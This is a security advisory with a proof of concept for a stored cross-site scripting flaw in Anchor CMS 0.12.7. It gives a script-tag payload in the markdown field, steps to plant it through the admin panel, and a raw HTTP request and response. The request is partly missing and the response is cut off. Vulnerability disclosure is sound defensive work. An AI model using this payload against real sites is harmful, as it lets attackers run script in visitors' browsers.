Anchor CMS 0.12.7 Cross Site Scripting

Anchor CMS version 0.12.7 suffers from a markdown persistent cross site scripting vulnerability. Original discovery of persistent cross site scripting in this version was discovered by Sinem Sahin in September of 2020.

MD5 | 5442ddd4ae9b993797182a4aea1c8c0e

# Exploit Title: Anchor CMS 0.12.7 - 'markdown' Stored Cross-Site Scripting
# Date: 2021-10-01
# Exploit Author: Ramazan Mert GÖKTEN
# Vendor Homepage:
# Vulnerable Software:
# Affected Version: [ 0.12.7 ]
# Tested on: Windows 10

# Vulnerable Parameter Type: POST
# Vulnerable Parameter: markdown
# Attack Pattern: <script>prompt("RMG_XSS_PoC")</script>

# Description

Exploitation of vulnerability as shown below;

1-) Entering the Admin Panel ( )
2-) Click Create a new post button at the Posts tab ( From " " to " " )
3-) Relevant payload (<script>prompt("RMG_XSS_PoC")</script>) which was defined above entering the markdown parameter then click "save" button
4-) Finally, turn back the home page then shown the triggered vulnerability

# Proof of Concepts:


POST /anchor/admin/posts/add HTTP/1.1
Connection: close
Content-Length: 234
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9
Cookie: anchorcms=eokq2ggm8mc4ulg2ii01a92a7d1jqvof7er085tqp9mvmdk2i3h1;
_ga=GA1.2.798164571.1610282526; _gid=GA1.2.1405266792.1610282526; _gat=1



HTTP/1.1 200 OK
Date: Sun, 10 Jan 2021 12:50:51 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
Pragma: no-cache
X-Robots-Tag: noindex,nofollow
Connection: close
Content-Type: application/json; charset=UTF-8
Content-Length: 105

{"id":"3","notification":"Your new article was

Related Posts